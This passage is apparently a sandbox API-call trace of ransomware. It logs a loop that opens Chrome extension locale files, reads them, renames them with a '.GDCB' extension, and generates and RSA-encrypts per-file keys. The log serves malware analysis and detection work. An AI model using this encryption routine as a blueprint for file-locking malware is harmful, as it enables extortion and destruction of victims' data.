data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0278.577] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.581] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.584] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x4827, lpOverlapped=0x0) returned 1 [0278.598] VirtualAlloc (lpAddress=0x0, dwSize=0x4830, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.605] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json.gdcb")) returned 1 [0278.611] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0278.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.617] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0278.617] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.617] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0278.620] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.623] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.623] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0278.623] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.623] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0278.625] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678daa0) returned 1 [0278.626] CryptGetKeyParam (in: hKey=0x678daa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.626] CryptEncrypt (in: hKey=0x678daa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0278.626] GetLastError () returned 0x0 [0278.626] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.626] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0278.628] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e020) returned 1 [0278.628] CryptGetKeyParam (in: hKey=0x678e020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.628] CryptEncrypt (in: hKey=0x678e020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0278.628] GetLastError () returned 0x0 [0278.628] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.628] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0278.629] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.632] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.634] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x45bf, lpOverlapped=0x0) returned 1 [0278.659] VirtualAlloc (lpAddress=0x0, dwSize=0x45c0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.666] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json.gdcb")) returned 1 [0278.671] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0278.674] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.677] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0278.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.677] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0278.679] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.682] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.682] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0278.682] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.682] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0278.685] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678dd60) returned 1 [0278.685] CryptGetKeyParam (in: hKey=0x678dd60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.685] CryptEncrypt (in: hKey=0x678dd60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0278.685] GetLastError () returned 0x0 [0278.685] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.685] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0278.687] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678dea0) returned 1 [0278.687] CryptGetKeyParam (in: hKey=0x678dea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.687] CryptEncrypt (in: hKey=0x678dea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0278.687] GetLastError () returned 0x0 [0278.687] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.687] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0278.688] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.692] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.694] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x4b63, lpOverlapped=0x0) returned 1 [0278.703] VirtualAlloc (lpAddress=0x0, dwSize=0x4b70, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.710] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json.gdcb")) returned 1 [0278.715] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0278.719] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.723] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.723] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0278.723] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.723] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0278.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.728] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.728] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0278.728] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.729] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0278.731] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678d9a0) returned 1 [0278.731] CryptGetKeyParam (in: hKey=0x678d9a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.731] CryptEncrypt (in: hKey=0x678d9a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0278.731] GetLastError () returned 0x0 [0278.731] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.731] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0278.733] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678df20) returned 1 [0278.733] CryptGetKeyParam (in: hKey=0x678df20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.733] CryptEncrypt (in: hKey=0x678df20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0278.734] GetLastError () returned 0x0 [0278.734] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.734] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0278.735] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.738] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.740] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x52cb, lpOverlapped=0x0) returned 1 [0278.762] VirtualAlloc (lpAddress=0x0, dwSize=0x52d0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.769] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json.gdcb")) returned 1 [0278.775] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0278.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.779] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.780] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0278.780] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.780] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0278.782] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.784] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.785] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0278.785] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.785] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0278.787] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e0a0) returned 1 [0278.787] CryptGetKeyParam (in: hKey=0x678e0a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.787] CryptEncrypt (in: hKey=0x678e0a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0278.788] GetLastError () returned 0x0 [0278.788] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0278.788] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0278.789] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678dfe0) returned 1 [0278.790] CryptGetKeyParam (in: hKey=0x678dfe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.790] CryptEncrypt (in: hKey=0x678dfe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0278.790] GetLastError () returned 0x0 [0278.790] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0278.790] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0278.791] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.794] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.796] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x405d, lpOverlapped=0x0) returned 1 [0278.806] VirtualAlloc (lpAddress=0x0, dwSize=0x4060, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.812] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json.gdcb")) returned 1 [0278.817] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0278.820] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.822] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.822] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0278.822] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.822] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0278.825] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.827] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.827] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0278.827] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.828] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0278.830] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678dce0) returned 1 [0278.830] CryptGetKeyParam (in: hKey=0x678dce0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.830] CryptEncrypt (in: hKey=0x678dce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0278.830] GetLastError () returned 0x0 [0278.830] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.830] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0278.832] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678de20) returned 1 [0278.832] CryptGetKeyParam (in: hKey=0x678de20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0278.832] CryptEncrypt (in: hKey=0x678de20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0278.833] GetLastError () returned 0x0 [0278.833] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.833] CreateFileW 